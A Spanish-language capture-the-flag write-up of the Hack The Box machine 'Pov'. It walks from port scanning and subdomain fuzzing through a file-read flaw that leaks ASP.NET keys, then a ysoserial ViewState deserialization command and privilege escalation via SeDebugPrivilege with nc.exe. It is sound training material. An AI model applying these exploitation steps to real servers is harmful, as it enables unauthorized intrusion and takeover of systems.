HTB Pov Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Pov de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl identificamos ante el tipo de máquina que estamos, en linux este suele ser de 64 y en windows de 128.
1
2
3
4
5
6
7
ping -c 1 10.10.11.251
PING 10.10.11.251 (10.10.11.251) 56(84) bytes of data.
64 bytes from 10.10.11.251: icmp_seq=1 ttl=127 time=96.3 ms
--- 10.10.11.251 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.253/96.253/96.253/0.000 ms
Vemos que el ttl de la máquina es de 127, el cual está próximo a 128 por ende nos encontramos ante una máquina Windows.
Ahora vamos a identificar los puertos abiertos dentro de la máquina, los invito a usar el siguiente script hecho en bash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash
GREEN="\e[32m"
RED="\e[31m"
RESET="\e[0m"
IP="$1"
if [ -z "$IP" ]; then
echo "Uso: $0 <IP>"
exit 1
fi
TEMP_FILE=$(mktemp)
echo -e "${GREEN}[+] Escaneando todos los puertos abiertos... ${RESET}"
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn "$IP" -oG "$TEMP_FILE"
# Extraer los puertos abiertos
PORTS=$(grep -oP '\d+/open' "$TEMP_FILE" | awk -F'/' '{print $1}' | tr '\n' ',' | sed 's/,$//'; echo)
rm "$TEMP_FILE"
if [ -z "$PORTS" ]; then
echo -e "${RED}[-] No se encontraron puertos abiertos.${RESET}"
exit 1
fi
echo -e "\n${GREEN}[+] Escanenado servicios en los puertos: $PORTS. ${RESET}\n"
nmap -sCV -p"$PORTS" "$IP" -oN target
echo -e "\n${GREEN}[+] Escano completado. Resultados en 'target'.${RESET}\n"
De preferencia es mejor usar este script como root, ya que algunos parámetros de nmap, requieren de privilegios elevados. Esto al final nos va a generar un archivo target que contiene la información de los puertos abiertos dentro de la máquina.
1
sudo ./scan.sh 10.10.11.44
1
2
3
4
5
6
7
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Usamos el comando whatweb para ver las tecnologías usadas en la web.
1
2
3
whatweb 10.10.11.251
http://10.10.11.251 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sfitz@pov.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.251], Microsoft-IIS[10.0], Script, Title[pov.htb], X-Powered-By[ASP.NET]
No vemos nada interesante, pero en el título vemos lo que parece ser un dominio, así que, lo agregamos al /etc/hosts, para que la máquina sepa a dónde resolver.
1
2
3
4
5
127.0.0.1 localhost
::1 localhost
127.0.0.1 machinename.localhost machinename
10.10.11.251 pov.htb
Enumeración de subdominios
Como en la web no hay nada interesante que mostrar, buscamos algún subdominio.
1
ffuf -c -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.pov.htb" -u http://pov.htb -fw 3740
Encontamos uno y lo agragamos al /etc/hosts. Nos dirigimos al subdominio y vemos que nos redirige a una ruta y hay una opción de descargar un CV, así que capturamos esa petición con BurpSuite.
Deserialization .NET (ysoerial)
Vemos que hay un parámetro file, por donde se descarga el CV, así que podemos probar a intentar buscar otros archivos.
Aquí podemos ver que estamos en la capacidad de leer archivos y lo comprobamos viendo el /etc/hosts de la máquina víctima, así que podemos buscar otros archivos interesantes. Como estamos ante ASP.NET podemos buscar un web.config.
Aquí vemos cosas interesantes como la verisón del framework y unas keys, buscando un poco por la web nos encontramos con esto, donde nos explican como mediante el parámetro __VIEWSTATE, teniendo las keys podemos enviar un payload serializado para ejecutar comandos, para esto vamos a hacer uso de ysoserial, esto es un .exe para windows, pero lo podemos usar en linux siguiendo los pasos de aquí.
Ganando acceso
Así que primero validamos si podemos ejecutar comandos. Para ello vamos a lanzarnos un ping desde la máquina víctima.
1
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.16.36" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
El payload devuelto lo pegamos en el parámetro __VIEWSTATE y nos ponemos en escucha con tcpdump.
Vemos que nos llegan los cuatro paquetes enviados por windows y ahora tratamos de ganar acceso, para ello nos vamos aquí, yo hice uso de Powershell#3 (Base64).
1
wine ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "payload rev shell" --path="/portfolio" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
Ahora logramos ganar acceso como el usuario sfitz.
Movimiento lateral
En su directorio pesonal en Documents, logramos ver un archivo .xml con una contraseña encriptada, que pertenece al usuario alaading, como es una encriptación con powershell, nos apoyamos aquí para descifrar la credencial.
Como el usuario pertenece al grupo (Windows Remote Management), y el puerto 5985 está abierto internamente en la máquina, vamos a hacer uso de chisel para traernos ese puerto y hacer uso de evil-winrm.
Ecalada de pivilegios
Como el usuario alaading tiene el privilegio SeDebugPrivilege, podemos hacer uso de eso para escalar privilegios, como nos explican aquí Primero vemos alguna tarea que se ejecute como administrador como winlogon y vemos su PID, para eso usamos el siguiente comando.
1
tasklist /v /FO LIST
Subimos el nc.exe a la máquina para entablar una rev shell. 
Ahora ya somos Administrator y podemos ver la última flag.







